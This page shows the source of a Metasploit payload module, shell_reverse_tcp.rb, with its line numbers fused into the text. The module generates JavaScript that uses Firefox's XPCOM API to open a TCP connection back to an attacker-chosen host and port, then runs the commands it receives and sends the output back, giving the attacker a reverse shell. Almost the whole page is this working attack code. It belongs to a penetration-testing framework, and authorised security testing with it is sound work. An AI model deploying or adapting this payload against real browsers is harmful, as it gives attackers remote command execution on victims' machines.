Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/payloads/singles/firefox/shell_reverse_tcp.rb
Views: 11766
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##456module MetasploitModule78CachedSize = :dynamic910include Msf::Payload::Single11include Msf::Payload::Firefox12include Msf::Sessions::CommandShellOptions1314def initialize(info={})15super(merge_info(info,16'Name' => 'Command Shell, Reverse TCP (via Firefox XPCOM script)',17'Description' => %q{Creates an interactive shell via Javascript with access to Firefox's XPCOM API},18'Author' => ['joev'],19'License' => BSD_LICENSE,20'Platform' => 'firefox',21'Arch' => ARCH_FIREFOX,22'Handler' => Msf::Handler::ReverseTcp,23'Session' => Msf::Sessions::CommandShell,24'PayloadType' => 'firefox'25))26end2728def generate(_opts = {})29<<-EOS3031(function(){32window = this;3334Components.utils.import("resource://gre/modules/NetUtil.jsm");35var host = '#{datastore["LHOST"]}';36var port = #{datastore["LPORT"]};3738var socketTransport = Components.classes["@mozilla.org/network/socket-transport-service;1"]39.getService(Components.interfaces.nsISocketTransportService);40var socket = socketTransport.createTransport(null, 0, host, port, null);41var outStream = socket.openOutputStream(0, 0, 0);42var inStream = socket.openInputStream(0, 0, 0);4344var pump = Components.classes["@mozilla.org/network/input-stream-pump;1"]45.createInstance(Components.interfaces.nsIInputStreamPump);46pump.init(inStream, -1, -1, 0, 0, true);4748#{read_until_token_source}4950var listener = {51onStartRequest: function(request, context) {},52onStopRequest: function(request, context) {},53onDataAvailable: readUntilToken(function(data) {54runCmd(data, function(err, output) {55if (!err) outStream.write(output, output.length);56});57})58};5960#{run_cmd_source}6162pump.asyncRead(listener, null);63})();6465EOS66end67end686970